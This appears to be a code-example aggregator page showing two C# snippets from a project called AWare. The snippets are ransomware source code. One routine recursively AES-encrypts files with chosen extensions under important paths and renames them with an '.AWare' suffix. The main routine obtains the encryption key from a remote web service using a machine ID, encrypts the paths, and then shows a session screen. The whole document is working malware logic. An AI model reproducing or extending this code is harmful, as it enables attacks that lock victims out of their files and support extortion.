예제 #1
0
        internal static void EncryptDirectories(this string Paths, AesServices _aesServices, string SecretKey)
        {
            try
            {
                string[] Files            = Directory.GetFiles(Paths);
                string[] ChildDirectories = Directory.GetDirectories(Paths);

                foreach (var i in Files)
                {
                    var fileInfo = new FileInfo(i);

                    if (Path.GetExtension(i).Contains("AWare"))
                    {
                        Program.ProtectedFiles.Add(fileInfo.FullName);
                        continue;
                    }
                    else if (!Extensions.Contains(Path.GetExtension(i)))
                    {
                        continue;
                    }

                    Program.ProtectedFiles.Add(_aesServices.EncryptFile(i, $"{fileInfo.FullName}.AWare", SecretKey, 10));
                }

                foreach (var Directories in ChildDirectories)
                {
                    Directories.EncryptDirectories(_aesServices, SecretKey);
                }
            }
            catch (Exception ex)
            {
                File.AppendAllText("Error_Log.AWare", ex.Message + Environment.NewLine);
            }
        }
예제 #2
0
파일: Program.cs 프로젝트: kelamrani/AWare
        private static async Task Main()
        {
            _aesServices = new AesServices();

            var aWareResponse = await new AWareWebServices(new UidHelper().Id).InitializeAWareWebServicesAsync();

            if (!aWareResponse.success)
            {
                Environment.Exit(0);
            }

            SecretKey = _aesServices.DecryptString(aWareResponse.SecretKey, aWareResponse.EncryptionKey);

            foreach (var i in ImportantPaths)
            {
                i.EncryptDirectories(_aesServices, SecretKey);
            }


            if (Console.WindowWidth != 220)
            {
                Console.WindowWidth = 220;
            }

            var consoleUpdateThread = new Thread(async() =>
            {
                while (true)
                {
                    Console.Title = ConsoleTitle;

                    await Task.Delay(25);
                }
            });

            consoleUpdateThread.Start();

            ConsoleHelper.AsciiHeader(aWareResponse.SessionID);

            foreach (var i in ProtectedFiles)
            {
                while (true)
                {
                    try
                    {
                        var fileInfo = new FileInfo(i);

                        if (!fileInfo.Name.ToLower().Contains("aware"))
                        {
                            break;
                        }

                        _aesServices.DecryptFile(i, $"{fileInfo.FullName.Replace(".AWare", "")}", SecretKey, 10);

                        break;
                    }
                    catch
                    {
                        continue;
                    }
                }
            }

            Environment.Exit(0);
        }